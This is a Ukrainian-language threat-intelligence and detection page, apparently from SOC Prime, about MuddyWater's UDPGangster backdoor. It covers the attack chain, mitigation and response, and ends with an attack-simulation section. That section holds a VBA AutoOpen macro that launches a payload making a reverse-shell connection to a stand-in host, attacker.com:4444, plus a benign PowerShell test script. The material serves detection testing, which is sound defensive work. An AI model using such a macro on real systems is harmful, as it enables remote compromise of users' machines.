SOC Prime Bias: Критичний

08 Dec 2025 13:27 UTC

Атаки UDPGangster поширюються по кількох країнах

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Атаки UDPGangster поширюються по кількох країнах
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

UDPGangster – це бекдор на основі UDP, який використовується групою загроз MuddyWater для віддаленого керування хостами Windows. Початкова компрометація відбувається через шкідливий документ Word, що використовує макроси VBA для популяризації і запуску корисного навантаження. Шкідливе програмне забезпечення здійснює масштабні перевірки, спрямовані на уникнення аналізу, і підтримує стійкість, копіюючи себе в директорію AppData користувача та створюючи ключ автозапуску. Останні кампанії спостерігалися з метою користувачів у Туреччині, Ізраїлі та Азербайджані.

Розслідування

FortiGuard Labs дослідили фішингові електронні листи, вбудований макрос VBA, випущений виконуваний файл і його техніки збереження. Вони витягли індикатори, такі як шляхи файлів, записи реєстру автозапуску, назви м’ютексів і пов’язану інфраструктуру C2. Кореляція IP-адрес, доменів і шляхів PDB дозволила аналітикам пов’язати цю активність з попередніми операціями MuddyWater.

Запобігання

Кроки з пом’якшення включають запровадження блокування макросів або надання повноцінного навчання користувачам, щоб запобігти виконанню макросів, а також розгортання засобів захисту на кінцевих точках, які стежать за підозрілими записами файлів у публічних або профільних папках користувачів, а також за модифікаціями ключів автозапуску реєстру. Мережеві команди повинні моніторити підозрілий UDP-трафік на порту 1269 і блокувати відомі шкідливі IP-адреси та домени, щоб порушити канали C2.

Відповідь

Коли виявлена активність UDPGangster, ізолюйте уражену кінцеву точку, зберіть несталеві дані пам’яті та повні образи дисків, і шукайте бекдор та пов’язані артефакти. Заблокуйте ідентифіковану інфраструктуру C2, проведіть всебічний кримінальний аналіз, щоб виявити будь-які додаткові скомпрометовані системи, та оновіть сигнатури безпеки для виявлення як шкідливих макросів-документів, так і бекдорівської загрози.

graph TB %% Визначення класів classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Визначення вузлів action_phishing[“<b>Дія</b> – <b>T1566.001 Фішинг із вкладенням</b>: Лист із шкідливим Word-документом та ZIP-архівом.”] class action_phishing action action_macro[“<b>Дія</b> – <b>T1059.005 Інтерпретатор команд і скриптів (VBA)</b>: Макрос Document_Open декодує Base64-навантаження у файл C:\\Users\\Public\\ui.txt.”] class action_macro action action_vba_stomping[“<b>Дія</b> – <b>T1564.007 Приховування артефактів (VBA Stomping)</b>: Шкідливий бінарний код приховано в макросі та формується під час виконання.”] class action_vba_stomping action action_obfuscation[“<b>Дія</b> – <b>T1027.004 Компіляція після доставки</b>: Навантаження обфусковане за допомогою Base64 та технік компіляції.”] class action_obfuscation action action_persistence_copy[“<b>Дія</b> – <b>T1547.014 Автозапуск під час входу в систему</b>: Копіює бекдор у %AppData%\\RoamingLow\\SystemProc.exe.”] class action_persistence_copy action action_registry_persistence[“<b>Дія</b> – <b>T1547.014 Ключ автозапуску в реєстрі</b>: Створює запис HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell для автозапуску.”] class action_registry_persistence action action_anti_sandbox[“<b>Дія</b> – <b>T1497.002 Уникнення пісочниці/віртуалізації</b>: Перевіряє наявність дебагера, кількість ядер CPU, обсяг RAM, MAC-префікси, членство в домені, WMI-запити, ключі реєстру та відомі DLL пісочниць.”] class action_anti_sandbox action action_c2_udp[“<b>Дія</b> – <b>T1571 Нестандартний порт</b>: Обмін даними з C2 через UDP-порт 1269.”] class action_c2_udp action action_raw_udp[“<b>Дія</b> – <b>T1095 Протокол не прикладного рівня</b>: Використовує «сирі» UDP-пакети для трафіку.”] class action_raw_udp action action_data_encoding[“<b>Дія</b> – <b>T1132.002 Користувацьке кодування</b>: Системна інформація кодується методом циклічного зсуву вправо перед ексфільтрацією.”] class action_data_encoding action malware_backdoor[“<b>Шкідливе ПЗ</b>: Користувацький бекдор”] class malware_backdoor malware process_c2[“<b>Процес</b>: Віддалений C2-сервер”] class process_c2 process %% Зв’язки, що показують ланцюг атаки action_phishing –>|доставляє| action_macro action_macro –>|формує| action_vba_stomping action_vba_stomping –>|обфускує| action_obfuscation action_obfuscation –>|копіює в AppData| action_persistence_copy action_persistence_copy –>|створює ключ автозапуску| action_registry_persistence action_registry_persistence –>|активує| malware_backdoor action_vba_stomping –>|виконує| action_anti_sandbox action_anti_sandbox –>|якщо перевірку пройдено| action_c2_udp action_c2_udp –>|використовує| action_raw_udp action_raw_udp –>|надсилає закодовані дані| action_data_encoding action_data_encoding –>|до| process_c2 process_c2 –>|керує| malware_backdoor

Потік Атаки

Виконання Симуляції

Передумова: Перевірка на відповідність Телеметрії та Базових вимог повинна бути пройдена.

Чому: Цей розділ детально описує точне виконання техніки супротивників (TTP), створеної для запуску правила виявлення. Команди та опис ПОВИННІ безпосередньо відображати виявлені TTP і прагнути генерувати саме ту телеметрію, яку очікує логіка виявлення.

  • Опис Атаки та Команди:
    Атакуючий доставляє шкідливий документ Word, що містить макрос VBA. Макрос звертається до API Windows CreateProcessA щоб створити cmd.exe і виконати корисне навантаження UDPGangster (udp_gangster.exe). Корисне навантаження встановлює зворотний шелл на сервер C2 атакуючого. Оскільки макрос явно передає рядок ‘CreateProcessA’ і буквальне cmd.exe у командному рядку, то правило виявлення відповідатиме.

    1. Макрос VBA (спрощений) демонструє виклик API:

      Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
          (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
           ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
           ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
           ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
           ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
      
      Sub AutoOpen()
          Dim cmdLine As String
          cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
          Dim si As STARTUPINFO
          Dim pi As PROCESS_INFORMATION
          Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
      End Sub
    2. Розгортайте макрос, відкрийте документ та дозвольте виконання макроса. Подія створення процесу міститиме:

      CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
  • Сценарій регресійного тестування: Наведений нижче PowerShell-скрипт відтворює точну телеметрію без необхідності в документі Word. Він звертається до нативного API Win32 CreateProcessA через Add-Type.

    # Регресійний тест: прямий виклик CreateProcessA з cmd.exe
    $source = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class NativeMethods {
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public int cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
    }
    "@
    
    Add-Type $source
    
    $si = New-Object NativeMethods+STARTUPINFO
    $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
    $pi = New-Object NativeMethods+PROCESS_INFORMATION
    
    $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
    
    $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $result) {
        Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    } else {
        Write-Host "CreateProcessA succeeded, command line logged."
    }
  • Команди очищення: Видалити артефакт, створений під час симуляції.

    # Видалити тимчасовий журнал, створений симуляцією
    Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue